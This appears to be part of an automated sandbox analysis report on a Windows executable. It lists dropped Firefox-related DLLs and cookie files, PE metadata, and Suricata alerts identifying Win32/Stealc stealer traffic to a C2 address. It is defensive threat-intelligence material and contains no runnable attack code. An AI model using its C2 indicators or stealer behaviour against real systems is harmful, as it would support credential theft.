SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944987259330516
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'790'464 bytes
MD5:	5cddb9535136733f8ff766a5db8f1d30
SHA1:	9de2943fb24fc7b6233d9e8635d1ca948bd136d8
SHA256:	b04d1f940f4c4714a61a718a463908354bcd6dcd07782ef515678164c3f2a2b7
SHA512:	91cf74b5bbfd62056fcc9393cbc181edebe472b0eecca3b7d6f075cedcf12ed0d414b38aa3660f75ed79dcd65049975f707563f47122a2323d2fb84173eed050
SSDEEP:	49152:SIz5BY0Qu4YK4mJonr3y35FDZrrj2g+C7:5NGBu4B7JozCZrvCC7
TLSH:	568533AB5820D4A8CD785EB01FA4564DB2933A122F3DB747AC1D22DD7CF72D3A429D42
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C88B4D [Fri Aug 23 13:14:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F209C8705EAh
wrmsr
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F209C8725E5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x23d000	0x13c00	a71fa81381546d3e5b457ccf4db3ccb2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x23f000	0x1000	0x200	380655991303f284fcb90ef8e49522a1	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x240000	0x2a3000	0x200	5b8a051c65a813edd2bb4784cbd9ab19	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
goyefyxh	0x4e3000	0x19e000	0x19dc00	4c5c22a69748f0c46369f2bf7a4c0eb9	False	0.9951195477719034	data	7.953604352071683	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qvslxnip	0x681000	0x1000	0x400	25b0607be20316089c3e5d4b77c26e25	False	0.767578125	data	6.006549058426214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x682000	0x3000	0x2200	ebb1aea5dbed4e44ba2be06fcd1d38c7	False	0.0625	DOS executable (COM)	0.7910490975967321	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-30T18:17:57.710181+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49730	185.215.113.100	192.168.2.4
2024-08-30T18:17:59.050169+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:18:07.428453+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:17:57.703614+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:18:10.521453+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:18:09.938661+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:17:57.957946+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49730	185.215.113.100	192.168.2.4
2024-08-30T18:18:06.790216+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:17:57.419769+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:18:08.283729+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:17:59.598948+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:18:05.616947+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-08-30T18:17:57.950893+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49730	80	192.168.2.4	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 18:17:56.223112106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:56.228157043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:56.228415012 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:56.228569984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:56.233361959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:56.970990896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:56.973397017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.148663998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.153486013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.419670105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.419769049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.458451986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.463464975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.703533888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.703589916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.703613997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.703655005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.705450058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.710180998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.950789928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.950892925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.950937986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.950948000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.950954914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.950999022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951030970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951082945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951102018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951149940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951152086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951195002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951229095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951273918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951286077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951339960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.951406002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:57.951458931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.953125954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:57.957946062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.201689959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.201801062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:58.218887091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:58.218947887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:58.223687887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.223697901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.223779917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.223830938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.223838091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.224072933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:58.224081039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:59.050087929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:17:59.050168991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:17:59.356895924 CEST	49730	80	192.168.2.4	185.215.113.100
